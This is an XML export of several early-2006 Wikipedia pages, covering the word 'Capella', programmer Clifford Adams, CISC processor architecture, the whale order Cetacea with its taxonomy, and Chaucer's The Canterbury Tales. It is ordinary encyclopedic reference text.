  <page>
    <title>Capella</title>
    <id>7619</id>
    <revision>
      <id>40018331</id>
      <timestamp>2006-02-17T15:05:57Z</timestamp>
      <contributor>
        <username>Mareino</username>
        <id>114034</id>
      </contributor>
      <minor />
      <comment>correcting spelling of band</comment>
      <text xml:space="preserve">The term &quot;'''Capella'''&quot; can refer to:

*'''[[A cappella]]''', a music term referring to [[vocal music]] or [[singing]] without [[musical instrument|instrumental]] [[accompaniment]].
*'''[[Capella (Huesca)|Capella]]''' municipality in [[Huesca (province)|Huesca]], [[Spain]]
*'''[[Capella (star)|Capella]]''', a bright [[star]] in the [[constellation]] of [[Auriga (constellation)|Auriga]].
*'''[[Mazda Capella|Capella]]''', a model of [[automobile]] [[manufacture]]d by [[Mazda]].
*'''[[Capella University]]''', an [[online]] [[academic]] [[institution]] based in [[Minneapolis, Minnesota]].
*'''[[Martianus Capella]]''', a writer of late [[antiquity]].
*'''[[Capella (crater)|Capella]]''', an [[impact crater]] on the [[Moon]], named after the writer.
*'''[[Capella notation program|Capella]]''', a music [[Scorewriter]] by [[WHC software]].
*'''[[Cappella]]''', a [[techno music]] group

{{disambig}}

[[de:Capella (Begriffsklärung)]]
[[it:Capella]]</text>
    </revision>
  </page>
  <page>
    <title>Clifford Adams</title>
    <id>7621</id>
    <revision>
      <id>40362403</id>
      <timestamp>2006-02-20T01:42:15Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Clifford Adams''' is a [[Perl]] [[computer programming|computer programmer]].
He is best known for his work on the [[UseModWiki]] [[wiki]] implementation, and the subsequent creation of the [[MeatballWiki]] community.  This is the software first used for [[Wikipedia]] (Phase I).

==External links==
*[[MeatBall:CliffordAdams]] -- Adams' page on MeatballWiki
*[[User:Clifford Adams]] -- Adams' user page on Wikipedia (he has been an inactive admin for years)

{{compu-bio-stub}}

[[Category:programmers|Adams, Clifford]]
[[Category:Wiki|Adams, Clifford]]

[[pl:Clifford Adams]]</text>
    </revision>
  </page>
  <page>
    <title>Complex instruction set computer</title>
    <id>7622</id>
    <revision>
      <id>40285903</id>
      <timestamp>2006-02-19T14:53:56Z</timestamp>
      <contributor>
        <username>Pgquiles</username>
        <id>96080</id>
      </contributor>
      <text xml:space="preserve">A '''complex instruction set computer''' ('''CISC''') is a [[microprocessor]] [[instruction set architecture]] (ISA) in which each instruction can execute several low-level operations, such as a load from [[Memory (computers)|memory]], an [[arithmetic]] [[operation]], and a [[memory (computers)|memory store]], all in a single instruction. The term was coined in contrast to [[reduced instruction set computer]] ([[RISC]]). 

Before the first RISC processors were designed, many [[computer architecture|computer architects]] tried to bridge the &quot;[[semantic gap]]&quot; - to design instruction sets to support [[high-level programming language]]s by providing &quot;high-level&quot; instructions such as procedure call and return, loop instructions such as &quot;decrement and branch if non-zero&quot; and complex [[addressing mode]]s to allow data structure and array accesses to be combined into single instructions. Additionally, the compact nature of a CISC ISA results in smaller [[program]] sizes and fewer calls to main memory, which at the time (the [[1960s]]) resulted in a tremendous savings on the cost of a computer.

While they achieved their aim of allowing high-level language constructs to be expressed in fewer instructions, it was observed that they did not always result in improved performance. For example, on one processor it was discovered that it was possible to improve performance by ''not'' using the procedure call instruction but using a sequence of simpler instructions instead. Furthermore, the more complex the instruction set, the greater the overhead of decoding any given instruction, both in execution time and silicon area. This is particularly true for processors which used [[microcode]] to decode the (macro)instructions. In other words, adding a large and complex instruction set to the processor even slowed down the execution of simple instructions. Implementing all these complex instructions also required a great deal of work on the part of the chip designer, and many transistors; this left less room on the processor to optimize performance in other ways.

Examples of CISC processors are the [[CDC 6600]], [[System/360]], [[VAX]], [[PDP-11]], [[Motorola 68000]] family and the [[Intel]] [[x86]] CPUs.

The term, like its [[antonym]] [[RISC]], has become less meaningful with the continued evolution of both CISC and RISC designs and implementations.  Modern &quot;CISC&quot; CPUs, such as recent x86 designs like the [[Pentium 4]], whilst they usually support every instruction that their predecessors did, are designed to work most efficiently with a subset of instructions more resembling a typical &quot;[[RISC]]&quot; instruction set.  Indeed, many CISC CPUs (such as modern x86 processors from both [[Intel]] and [[AMD]]) decode many x86 instructions into a series of smaller internal &quot;micro-operations&quot; that are then executed internally by the processor.

==See also==
*[[Central processing unit|CPU]]
*[[RISC]]
*[[ZISC]]
*[[microprocessor]]
*[[computer]]
*[[CPU design]]
*[[computer architecture]]
*[[RISCvsCISC|RISC vs CISC]]

{{FOLDOC}}

[[Category:Computer architecture]]

[[cs:CISC]]
[[da:CISC]]
[[de:Complex Instruction Set Computing]]
[[es:CISC]]
[[fr:Complex instruction set computer]]
[[ko:CISC]]
[[hr:CISC]]
[[lt:CISC]]
[[hu:CISC]]
[[nl:Complex Instruction Set Computer]]
[[ja:CISC]]
[[pl:CISC]]
[[ru:CISC]]
[[sl:CISC]]
[[fi:CISC]]
[[sv:CISC]]
[[uk:CISC]]
[[zh:复杂指令集]]</text>
    </revision>
  </page>
  <page>
    <title>CISC</title>
    <id>7624</id>
    <revision>
      <id>38241582</id>
      <timestamp>2006-02-05T02:05:05Z</timestamp>
      <contributor>
        <username>Kelly Martin</username>
        <id>158241</id>
      </contributor>
      <minor />
      <comment>Redirect bypass from [[Complex Instruction Set Computer]] to [[Complex instruction set computer]] using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">#REDIRECT [[Complex instruction set computer|Complex Instruction Set Computer]]</text>
    </revision>
  </page>
  <page>
    <title>Cetacea</title>
    <id>7626</id>
    <revision>
      <id>41198108</id>
      <timestamp>2006-02-25T18:53:06Z</timestamp>
      <contributor>
        <username>Haakon</username>
        <id>7745</id>
      </contributor>
      <minor />
      <comment>uncap headers</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Cetaceans
| image = humpbackwhale37.jpg
| image_width = 250px
| image_caption = ''[[Humpback Whale]] breaching''
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = '''Cetacea'''
| ordo_authority = [[Mathurin Jacques Brisson|Brisson]], 1762
| subdivision_ranks = [[Suborder]]s
| subdivision = 
[[Mysticeti]]&lt;br&gt;
[[Odontoceti]]&lt;br&gt;
''(see text for families)''
}}
{{portal}}
The order '''Cetacea''' includes [[whale|whales]], [[dolphin|dolphins]] and [[porpoise|porpoises]].
''Cetus'' is [[Latin]] and is used in biological names to mean &quot;whale&quot;; its original meaning, &quot;large sea animal,&quot; was more general. It comes from [[Greek language|Greek]] ''ketos'' (&quot;[[sea monster]]&quot;). [[Cetology]] is the branch of marine science associated with the study of cetaceans.

'''Cetaceans''' are the [[mammal]]s most fully [[aquatic adaptation|adapted to aquatic]] life.  Their body is fusiform (spindle-shaped).  The forelimbs are modified into flippers. The tiny hindlimbs are vestigial; they do not attach to the backbone and are hidden within the body. The tail has horizontal flukes.
Cetaceans are nearly hairless, and are insulated by a thick layer of [[blubber]].

The order Cetacea contains eighty-one known species, divided into two suborders, [[Mysticeti]] (baleen whales) and [[Odontoceti]] (toothed whales, which includes dolphins and porpoises).

== Evolution==
{{main|Evolution of cetaceans}}

'''Cetaceans''' (see-taý she-ańs)(L. ''cetus,'' whale) evolved from land mammals (most likely from certain hoofed [[carnivore]]s which also gave rise to the [[artiodactyls]] - the even-hoofed mammals, including [[pigs]] and the [[hippopotamus]]) that once again adapted to marine life about 50 million years ago.

==Adaptations for sea life==

Over a period of millions of years, the cetacean returned to the sea - there was more food there, and more space than on land. Because of this increase in space, there was no natural limit to the cetacean's size (i.e. the amount of weight its legs could hold) since the water provided buoyancy. It had no longer any need for legs.

During this time, the cetacean lost the qualities that fitted it for land existence and gained new qualities for life at sea. Its hind limbs disappeared, its body became more tapered and streamlined - a form that enabled it to move swiftly through the water. For the same reason, most of its fur disappeared, reducing the resistance of the giant body to the water. The cetacean's original tail was replaced by a pair of flukes that acted like a propeller.

As part of this streamlining process, the bones in the cetacean's front limbs fused together. In time, what had been the forelegs became a solid mass of bone, blubber and tissue, making very effective flippers that balance the cetacean's tremendous bulk.

After the cetacean's hair disappeared, it needed some way of preserving body heat. This came in the form of blubber, a thick layer of fat between the skin and the flesh that also acts as an emergency source of energy. In some cetaceans the layer of blubber can be more than a foot thick.

The ear bone called the hammer (malleus) is fused to the walls of the bone cavity where the ear bones are, making hearing in air as good as impossible. Instead sound are transmitted through their jaws and skull bones.

==Breathing, seeing, hearing and echolocation==

Since the cetacean is a mammal, it needs air to breathe. Because of this, it needs to come to the water's surface to exhale its carbon dioxide and inhale a fresh supply of oxygen. Naturally it cannot breathe under water, so as it dives a muscular action closes the [[blowhole (biology)|blowholes]] (nostrils), which remain closed until the cetacean next breaks the surface. When it does, the muscles open the blowholes and warm air is exhaled.

To make this easier, the cetacean's blowholes have moved to the top of its head, giving it a quicker chance to expel the stale air and inhale fresh air. When the stale air, warmed from the lungs, is exhaled it condenses and vapourises as it meets the cold air outside. This is rather like when you breathe out on a cold day and a small cloud of warm air appears. This is called the 'blow', or 'spout', and each cetacean's blow is different in terms of shape, angle and height. This is how cetaceans can be identified at a distance by experienced whalers or whale-watchers.

The cetacean's eyes are set well back and to either side of its huge head. This means that cetaceans with pointed 'beaks' (such as dolphins) have good binocular vision forward and downward, but others with blunt heads (such as the Sperm Whale) can see either side but not directly ahead or directly behind. The eyes shed greasy tears which protect them from the salt in the water.  Cetaceans also have an almost spherical lens in their eyes, which is most efficient at focusing what little light there is.  However, their vision is generally quite poor (with the exception of the dolphin), which cetaceans make up with their excellent hearing abilities

Akin to the eyes, the cetacean's ears are also small. Life in the sea accounts for the cetacean's loss of its external ears, whose function is to collect sound waves and focus them in order for them to become strong enough to hear well. However, sound waves travel faster through the water than in the air, and so the external ear was no longer needed, and is no more than a tiny hole in the skin, just behind the eye. The inner ear, however, has become so well developed that the cetacean can not only hear sounds tens of miles away, but it can also discern from which direction the sound comes.

Some cetaceans are capable of [[echolocation]].  Mysticeti have little need of it, as they prey upon small fish that would be impractical to locate with echolocation.  Some members of Odontoceti, such as dolphins and porpoises, perform echolocation.  Many toothed whales emit clicks similar to those in echolocation, but we have yet to prove that they echolocate.  Cetaceans use sound in the same way as bats - they emit a sound (called a click), which then bounces off an object and returns to them. From this, cetaceans can discern the size, shape, surface characteristics and movement of the object, as well as how far away it is. With this ability cetaceans can search for, chase and catch fast-swimming prey in total darkness. It is so advanced that most cetaceans can discern between prey and non-prey (such as humans or boats), and captive cetaceans can be trained to distinguish between, for example, balls of different sizes or shapes.

Cetaceans also use sound to communicate, whether it be groans, moans, whistles, clicks or the complex 'singing' of the Humpback Whale that is becoming so popular on wildlife documentaries and relaxation tapes.

==Feeding==

When it comes to food and feeding, cetaceans can be separated into two distinct groups. The 'toothed whales' or Odontoceti usually have lots of teeth that they use for catching fish, squid or other marine life. They do not chew their food, but swallow it whole. In the rare cases that they catch large prey, such as Killer Whales (''Orcinus orca'') catching a fur seal, they tear 'chunks' of it that in turn are swallowed whole. Some examples of the cetaceans in this group include sperm whales, beluga whales, dolphins and porpoises.

The 'baleen whales' or Mysticeti do not have teeth. Instead they have plates made of keratin (the same substance as our fingernails) which hang down from the upper jaw. These plates act like a giant filter, straining small animals (such as [[krill]] and fish) from the seawater. Cetaceans included in this group include the Blue Whale, the Humpback Whale, the Bowhead Whale and the Minke Whale.

It is a fallacy to believe that all Mysticeti feed on plankton, because for some species their prey animals are not plankton. The larger whales tend to eat small shoaling fish, such as herrings and sardine. These fish are called micronecton, and not plankton. One species of Mysticeti, the Gray Whale (''Escrichtius robustus''), is a [[Benthos|benthic]] feeder, primarily eating sea floor [[crustaceans]].

==Misconceptions==

A common misconception about cetaceans is that they are [[fish]]. They're not&amp;mdash;they are [[mammals]].

As mammals, cetaceans have these characteristics that are common to all mammals:
* They are [[warm-blooded]] animals.
* They breathe in air through their [[lungs]].
* They bear their young alive and suckle them on their own [[milk]].
* They have [[hair]] - though generally only a few 'whiskers'.

Another way of discerning a cetacean from a fish is by the shape of the tail. The tail of a fish is vertical and moves from side to side when the fish swims. The tail of a cetacean - called a &quot;fluke&quot; - is horizontal and moves up and down, as cetaceans' spines bend in the same manner as a human spine.

==Taxonomic listing==

The classification here closely follows &quot;Marine Mammals of the World: Systematics and Distribution&quot; by Dale W. Rice (1998). The work has become the standard taxonomy reference in the field. Differences reflect usage of common names and further discoveries since the publication of that work.

* '''ORDER CETACEA'''
** '''Suborder [[Mysticeti]]''': Baleen whales
*** Family [[Balaenidae]]: [[Right whale]]s and [[Bowhead Whale]]
**** Genus ''[[Balaena]]''
***** [[Bowhead Whale]], ''Balaena mysticetus''
**** Genus ''[[Eubalaena]]''
***** [[Atlantic Northern Right Whale]], ''Eubalaena glacialis''
***** [[Pacific Northern Right Whale]], ''Eubalaena japonica''
***** [[Southern Right Whale]], ''Eubalaena australis''
*** Family [[Balaenopteridae]]: Rorquals
**** Subfamily [[Balaenopterinae]]
***** Genus ''[[Balaenoptera]]''
****** [[Fin Whale]], ''Balaenoptera physalus''
****** [[Sei Whale]], ''Balaenoptera borealis''
****** [[Bryde's Whale]], ''Balaenoptera brydei''
****** [[Pygmy Bryde's Whale]], (Eden's Whale) ''Balaenoptera edeni''
****** [[Blue Whale]], ''Balaenoptera musculus''
****** [[Northern Minke Whale]], ''Balaenoptera acutorostrata''
****** [[Southern Minke Whale]], (Antarctic Minke Whale) ''Balaenoptera bonaerensis''
****** ''[[Balaenoptera omurai]]'', discovery announced November 2003. No common name yet in usage
**** Subfamily [[Megapterinae]]
***** Genus ''[[Megaptera]]''
******[[Humpback Whale]], ''Megaptera novaeangliae''
*** † Genus ''Eobalaenoptera''
**** † ''[[Eobalaenoptera harrisoni]]'', fossil species first discovered June 2004. No common name.  
*** Family [[Eschrichtiidae]]
**** Genus ''[[Eschrichtius]]''
***** [[Gray Whale]], ''Eschrichtius robustus''
*** Family [[Neobalaenidae]]: Pygmy Right Whale
**** Genus ''[[Caperea]]''
***** [[Pygmy Right Whale]], ''Caperea marginata''
** '''Suborder [[Odontoceti]]''': toothed whales
*** '''Superfamily [[Platanistoidea]]''': River dolphins
**** Family [[Iniidae]]
***** Genus ''[[Inia]]''
****** [[Amazon River Dolphin]], ''Inia geoffrensis''
**** Family [[Lipotidae]]
***** Genus ''[[Lipotes]]''
****** [[Chinese River Dolphin]], ''Lipotes vexillifer'' 
**** Family [[Platanistidae]]
***** Genus ''[[Platanista]]''
****** [[Ganges and Indus River Dolphin]], ''Platanista gangetica'' 
**** Family [[Pontoporiidae]]
***** Genus ''[[Pontoporia]]''
****** [[La Plata Dolphin]], ''Pontoporia blainvillei''
*** Family [[Monodontidae]]
**** Genus ''[[Monodon]]''
***** [[Narwhal]], ''Monodon monoceros''
**** Genus ''[[Delphinapterus]]''
***** [[Beluga]], ''Delphinapterus leucas''
*** Family [[Phocoenidae]]: [[Porpoise]]s
**** Genus ''[[Neophocaena]]''
***** [[Finless Porpoise]], ''Neophocaena phocaenoides''
**** Genus ''[[Phocoena]]''
***** [[Harbour Porpoise]], ''Phocoena phocaena''  
***** [[Vaquita]], ''Phocoena sinus''
***** [[Spectacled Porpoise]], ''Phocoena dioptrica''
***** [[Burmeister's Porpoise]], ''Phocoena spinipinnis''  
**** Genus ''[[Phocoenoides]]''
***** [[Dall's Porpoise]], ''Phocoenoides dalli''
*** Family [[Physeteridae]]: [[Sperm Whale family]]
**** Genus ''[[Physeter]]''
***** [[Sperm Whale]], ''Physeter macrocephalus''
*** Family [[Kogiidae]]
**** Genus ''[[Kogia]]''
***** [[Dwarf Sperm Whale]], ''Kogia sima''  
***** [[Pygmy Sperm Whale]], ''Kogia breviceps''
*** Family [[Ziphidae]], Beaked whales
**** Genus ''[[Ziphius]]''
***** [[Cuvier's Beaked Whale]], ''Ziphius cavirostris''
**** Genus ''[[Berardius]]''
***** [[Arnoux's Beaked Whale]], ''Berardius arnuxii''
***** [[Baird's Beaked Whale]] (North Pacific Bottlenose Whale), ''Berardius bairdii''   
**** Genus ''[[Tasmacetus]]''
***** [[Tasman Beaked Whale]] (Shepherd's Beaked Whale), ''Tasmacetus shepherdi''
**** Subfamily [[Hyperoodontidae]]
***** Genus ''[[Indopacetus]]''
****** [[Indo-Pacific Beaked Whale]] (Longman's Beaked Whale), ''Indopacetus pacificus''
***** Genus ''[[Hyperoodon]]''
****** [[Northern Bottlenose Whale]], ''Hyperoodon ampullatus''
****** [[Southern Bottlenose Whale]], ''Hyperoodon planifrons''
***** Genus ''[[Mesoplodon]]'', [[Mesoplodont Whale]] 
****** [[Hector's Beaked Whale]], ''Mesoplodon hectori''
****** [[True's Beaked Whale]], ''Mesoplodon mirus''   
****** [[Gervais' Beaked Whale]], ''Mesoplodon europaeus'' 
****** [[Sowerby's Beaked Whale]], ''Mesoplodon bidens''
****** [[Gray's Beaked Whale]], ''Mesoplodon grayi'' 
****** [[Pygmy Beaked Whale]], ''Mesoplodon peruvianus''    
****** [[Andrews' Beaked Whale]], ''Mesoplodon bowdoini'' 
****** [[Spade Toothed Whale]], ''Mesoplodon traversii''
****** [[Hubbs' Beaked Whale]], ''Mesoplodon carlhubbsi'' 
****** [[Ginkgo-toothed Beaked Whale]], ''Mesoplodon ginkgodens''
****** [[Stejneger's Beaked Whale]], ''Mesoplodon stejnegeri'' 
****** [[Layard's Beaked Whale]], ''Mesoplodon layardii''
****** [[Blainville's Beaked Whale]], ''Mesoplodon densirostris''
****** [[Perrin's Beaked Whale]], ''Mesoplodon perrini'' - not in Rice - authority Dalebout et al (2002)
*** Family [[Delphinidae]]: [[Dolphin]]
**** Genus ''[[Cephalorhynchus]]''
***** [[Commerson's Dolphin]], ''Cephalorhyncus commersonii''
***** [[Chilean Dolphin]], ''Cephalorhyncus eutropia''
***** [[Heaviside's Dolphin]], ''Cephalorhyncus heavisidii''
***** [[Hector's Dolphin]], ''Cephalorhyncus hectori''
**** Genus ''[[Steno]]''
***** [[Rough-toothed Dolphin]], ''Steno bredanensis''
**** Genus ''[[Humpback Dolphins|Sousa]]''
***** [[Atlantic Humpback Dolphin]], ''Sousa teuszi''
***** [[Indian Humpback Dolphin]], ''Sousa plumbea''
***** [[Pacific Humpback Dolphin]], ''Sousa chinensis'' 
**** Genus ''[[Sotalia]]''
***** [[Tucuxi]], ''Sotalia fluviatilis''
**** Genus ''[[Tursiops]]''
***** [[Bottlenose Dolphin]],  ''Tursiops truncatus''
***** [[Indian Ocean Bottlenose Dolphin]], ''Tursiops aduncus''
**** Genus ''[[Stenella]]''
***** [[Pantropical Spotted Dolphin]], ''Stenella attenuata''
***** [[Atlantic Spotted Dolphin]], ''Stenella frontalis''
***** [[Spinner Dolphin]], ''Stenella longirostris''
***** [[Clymene Dolphin]], ''Stenella clymene''
***** [[Striped Dolphin]], ''Stenella coeruleoalba''
**** Genus ''[[Delphinus]]''
***** [[Short-beaked Common Dolphin]], ''Delphinus delphis''
***** [[Long-beaked Common Dolphin]], ''Delphinus capensis''
***** ([[Arabian Common Dolphin]], ''Delphinus tropicalis'')
**** Genus ''[[Lagenodelphis]]''
***** [[Fraser's Dolphin]], ''Lagenodelphis hosei''
**** Genus ''[[Lagenorhynchus]]''
***** [[White-beaked Dolphin]], ''Lagenorhynchus albirostris''
***** [[Atlantic White-sided Dolphin]], ''Lagenorhynchus acutus''
***** [[Pacific White-sided Dolphin]], ''Lagenorhynchus obliquidens''
***** [[Dusky Dolphin]], ''Lagenorhynchus obscurus''
***** [[Black-chinned Dolphin]], ''Lagenorhynchus australis''
***** [[Hourglass Dolphin]], ''Lagenorhynchus cruciger''
**** Genus ''[[Lissodelphis]]''
***** [[Northern Right Whale Dolphin]], ''Lissodelphis borealis''
***** [[Southern Right Whale Dolphin]], ''Lissodelphis peronii''
**** Genus ''[[Grampus (genus)|Grampus]]''
***** [[Risso's Dolphin]], ''Grampus griseus''
**** Genus ''[[Peponocephala]]''
***** [[Melon-headed Whale]], ''Peponocephala electra''
**** Genus ''[[Feresa]]''
***** [[Pygmy Killer Whale]], ''Feresa attenuata''
**** Genus ''[[Pseudorca]]''
***** [[False Killer Whale]], ''Pseudorca crassidens''
**** Genus ''Orcinus''
***** [[Orca]], ''Orcinus orca''
**** Genus ''[[Globicephala]]''
***** [[Long-finned Pilot Whale]], ''Globicephala melas''
***** [[Short-finned Pilot Whale]], ''Globicephala macrorhyncus''
**** Genus ''[[Orcaella]]''
***** [[Irrawaddy Dolphin]], ''Orcaella brevirostris''
***** [[Australian Snubfin Dolphin]], ''Orcaella heinsohni''

==References==
*Rice, Dale W. (1998). Marine mammals of the world: systematics and distribution. Society of Marine Mammalogy Special Publication Number 4. 231 pp. See the [http://www.marinemammalogy.org/publications.htm Society's website] for further details. 

==External links==
{{Wikispecies|Cetacea}}
{{Wikibookspar|Dichotomous Key|Cetacea}}
* [http://www.acsonline.org/ American Cetacean Society]
* [http://www.crru.org.uk/ British Cetacean Site] especially interesting is [http://www.crru.org.uk/education/factfiles/taxonomy.htm taxonomy]
* [http://www.cetacea.org/ Cetacea.org homepage]
* [http://www.press.jhu.edu/books/walkers_mammals_of_the_world/cetacea/cetacea.html#genera Walker's Mammals of the World Online - Cetaceans]
* [http://www.tursiops.org/ Tursiops.org: Current Cetacean-related news]
* [http://whaleofatime.com/forum Whales, Dolphins, Porpoises and Cetaceans Forum]

{{Mammals}}
[[Category:Cetaceans| ]]

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  </page>
  <page>
    <title>The Canterbury Tales</title>
    <id>7627</id>
    <revision>
      <id>41480732</id>
      <timestamp>2006-02-27T17:23:09Z</timestamp>
      <contributor>
        <username>Neddyseagoon</username>
        <id>883252</id>
      </contributor>
      <comment>/* Notes */</comment>
      <text xml:space="preserve">[[Image:Canterbury_Tales.png|frame|right|Canterbury Tales Woodcut 1484]]
'''''The Canterbury Tales''''' is a collection of stories written by [[Geoffrey Chaucer]] in the [[14th century]] (two of them in [[prose]], the rest in [[verse]]). The tales, some of which are originals and others not, are contained inside a [[frame tale]] and told by a group of [[pilgrim]]s on their way from [[London Borough of Southwark|Southwark]] to [[Canterbury, Kent|Canterbury]] to visit the shrine of [[Saint]] [[Thomas à Becket]]'s at [[Canterbury Cathedral]]{{ref|shrine}}. ''The Canterbury Tales'' are written in [[Middle English]].

==The individual tales ==
The themes of the tales vary, and include topics such as [[courtly love]], treachery and avarice. The genres also vary, and include [[Romance (genre)|romance]], [[Breton lai]], [[sermon]], and [[fabliau]]. The characters, introduced in the [[General Prologue]] of the book, tell tales of great cultural relevance.

The Tales include:
*[[General Prologue|The General Prologue]] 
*[[The Knight's Tale]]
*[[The Miller's Prologue and Tale]]
*[[The Reeve's Prologue and Tale]] 
*[[The Cook's Prologue and Tale]]
*[[The Man of Law's Prologue and Tale]] 
*[[The Wife of Bath's Prologue and Tale]] 
*[[The Friar's Prologue and Tale]]
*[[The Summoner's Prologue and Tale]] 
[[Image:ChaucerPortraitEllesmereMs.jpg|thumb|250px|Portrait of Chaucer as a Canterbury pilgrim in the [[Ellesmere manuscript]] of ''The Canterbury Tales'']] 
*[[The Clerk's Prologue and Tale]] 
*[[The Merchant's Prologue and Tale]] 
*[[The Squire's Prologue and Tale]] 
*[[The Franklin's Prologue and Tale]] 
*[[The Physician's Tale]] 
*[[The Pardoner's Prologue and Tale]] 
*[[The Shipman's Tale]] 
*[[The Prioress' Prologue and Tale]]
*[[Chaucer's Tale of Sir Topas]] 
*[[The Tale of Melibee]] 
*[[The Monk's Prologue and Tale]] 
*[[Chanticleer and the Fox|The Nun's Priest's Prologue and Tale]] 
*[[The Second Nun's Prologue and Tale]] 
*[[The Canon's Yeoman's Prologue and Tale]] 
*[[The Manciple's Prologue and Tale]] 
*[[The Parson's Prologue and Tale]] 
*[[Chaucer's Retraction]] 

Some of the tales are serious and others humorous; however, all are very precise in describing the traits and faults of human nature. Religious malpractice is a major theme as well as focusing on the division of [[Estates of the realm|the three estates]].  Most of the tales are interlinked with similar themes running through them and some are told in retaliation for other tales in the form of an argument. The work is incomplete, as it was originally intended that each character would tell four tales, two on the way to Canterbury and two on the return journey. This would have meant a possible one hundred and twenty tales which would have dwarfed the twenty-six tales actually written. 

People have sought political overtones within the tales, particularly as Chaucer himself was a significant [[courtier]] and political figure at the time, close to the corridors of power.  There are many hints at contemporary events, although few are proven, and the theme of marriage common in the tales is presumed to refer to several different marriages, most often those of [[John of Gaunt]].  Aside from Chaucer himself, Harry Bailly of the Tabard Inn was a real person and the Cook has been identified as quite likely to be Roger Knight de Ware, a contemporary London cook.

==The complete work==
The work was begun some time in the [[1380s]] with Chaucer stopping work on it in the late [[1390s]]. It was not written down fully conceived: it seems to have had many revisions with the addition of new tales at various times. The plan for one hundred and twenty tales is from the general prologue. It is announced by Harry Bailly, the host, that there will be four tales each. This is not necessarily the opinion of Chaucer himself, who appears as the only character to tell more than one tale. It has been suggested that the unfinished state was deliberate on Chaucer's part.
  
The structure of ''The Canterbury Tales'' is easy to find in other contemporary works, such as ''[[The Book of Good Love]]'' by [[Juan Ruiz]] and [[Giovanni Boccaccio|Boccaccio's]] ''[[Decameron]],'' which may have been one of Chaucer's main sources of inspiration.  Chaucer indeed adapted several of Boccaccio's stories to put in the mouths of his own pilgrims, but what sets Chaucer's work apart from his contemporaries' is his characters.  Compared to Boccaccio's main characters - seven women and three men, all young, fresh and well-to-do, and given Classical names - the characters in Chaucer are of extremely varied stock, including representatives of most of the branches of the middle classes at that time.  Not only are the participants very different, but they tell very different types of tales, with their personalities showing through both in their choices of tales but also in the way they tell them.

The idea of a pilgrimage appears to have been mainly a useful device to get such a diverse collection of people together for literary purposes.  The Monk would probably not be allowed to undertake the pilgrimage and some of the other characters would be unlikely ever to want to attend.  Also all of the pilgrims ride horses, there is no suggestion of them suffering for their religion.  None of the popular [[shrine]]s along the way are visited and there is no suggestion that anyone attends [[mass (liturgy)|mass]], so that it seems much more like a tourist's jaunt.  It may be that Chaucer's intent was to ridicule the sort of people who unthinkingly went on such pilgrimages.

Chaucer does not pay that much attention to the progress of the trip.  He hints that the tales take several days but he does not detail any overnight stays.  Although the journey could be done in one day this speed would make telling tales difficult and three to four days was the usual duration for such pilgrimages.  The 18th of April is mentioned in the tales and [[Walter William Skeat]], a [[19th century]] editor, determined [[17 April]], [[1387]] as the probable first day of the tales.

Scholars divide the tales into ten fragments.  The tales that make up a fragment are directly connected, usually with one character speaking to and handing over to another character, but there is no connection between most of the other fragments.  This means that there are several possible permutations for the order of the fragments and consequently the tales themselves.  The above listing is perhaps the most common in modern times, with the fragments numbered I-X, but an alternative order is listing them A-G, with the tales from the Physician's until the Nun's Priest's placed before the Wife of Bath's.  The exception to the independence between fragments are the last two.  The Manciple's tale is the last tale in XI but fragment X starts with the parson's prologue by saying that the Manciple had finished his tale.  The reason that they are kept as two different fragments is that the Manciple starts his short tale in the morning but the parson's tale is told at four in the afternoon.  It is assumed that Chaucer would have amended his manuscript or inserted more tales to fill the time.

Two early [[manuscript]]s of the tale are the [[Hengwrt manuscript]] and the [[Ellesmere manuscript]].

==Significance==
It is sometimes argued that the greatest contribution that this work made to [[English literature]] was in popularising the literary use of the [[vernacular]] language, [[English language|English]] (rather than [[French language|French]] or [[Latin]]). However, several of Chaucer's contemporaries&amp;mdash;[[John Gower]], [[William Langland]], and [[the Pearl Poet]]&amp;mdash;also wrote major literary works in English, making it unclear how much Chaucer was responsible for starting a trend rather than simply being part of it.

The title of the work has become an everyday phrase in the language and has been variously adapted and adopted. Recently an animated version of some of the tales has been produced for British [[television]]. As well as a version with [[Modern English]] dialogue, there were versions in the original Middle English and [[Welsh language|Welsh]].  

The postulated return journey has intrigued many and continuations have been written as well as tales written for the characters who are mentioned but not given a chance to speak. The [[Tale of Beryn]] is a tale by an anonymous author within a [[15th century]] manuscript of the work.  The tales are rearranged and there are some interludes in Canterbury, which they had finally reached, and Beryn is the first tale on the return journey, told by the Merchant.  [[John Lydgate]]'s ''[[Siege of Thebes]]'' is also a depiction of the return journey but the tales themselves are actually prequels to the tale of classical origin told by the Knight in Chaucer's work.

In [[2004]], Professor [[Linne Mooney]] was able to identify the [[scrivener]] who worked for Chaucer as an [[Adam Pinkhurst]]. Professor Mooney, working at the [[University of Cambridge]], was able to match Pinkhurst's signature on an oath he signed to his lettering on a copy of ''The Canterbury Tales'' that was transcribed from Chaucer's working copy.

==Stage and film adaptations==
*[[Pasolini]]
*[[2005]], [[Royal Shakespeare Company]]
{{Section-stub}}

==Notes==

{{note|shrine}} The shrine was later destroyed by Protestant iconoclasts taking liberties with [[Henry VIII of England|Henry VIII]]'s order simply to dissolve the assets of the monasteries; a [[visitor attraction]] called '''''The Canterbury Tales''''' may currently be seen in Canterbury [http://www.canterburytales.org.uk/home.htm].

==External links==
{{wikisource}}

*[http://www.librarius.com/ &quot;Modern English translation of the Canterbury Tales&quot;]
*[http://www.bookrags.com/notes/ct/ BookRags Study Guide] for &quot;Canterbury Tales&quot; at [http://www.bookrags.com BookRags.com]
*{{gutenberg|no=2383|name=The Canterbury Tales and Other Poems}}
*[http://www.bl.uk/treasures/caxton/homepage.html Originals from the British Library]High resolution scans of William Caxton's two editions of Chaucer's Canterbury Tales (probably printed in 1476 and 1483)
*Audio clip from [http://people.bu.edu/bobl/middle_english.htm The Miller's Tale and The Second Nun's Tale]
*[http://www.llgc.org.uk/drych/drych_s007.htm The Hengwrt Chaucer]
*[http://www.herr-rau.de/archiv/chaucer/miller1.mp3 Audio clip from the first part of the Miller's Tale]
*[http://www.herr-rau.de/archiv/chaucer/miller2.mp3 Audio clip from the second part of the Miller's tale]
*[http://www.synchicity.com/chaucer/index.html Audio clip from the first part of the Visioner's tale]
*[http://www.herr-rau.de/archiv/chaucer/prologue.mp3 Audio clip from the prologue of the Canterbury Tales]
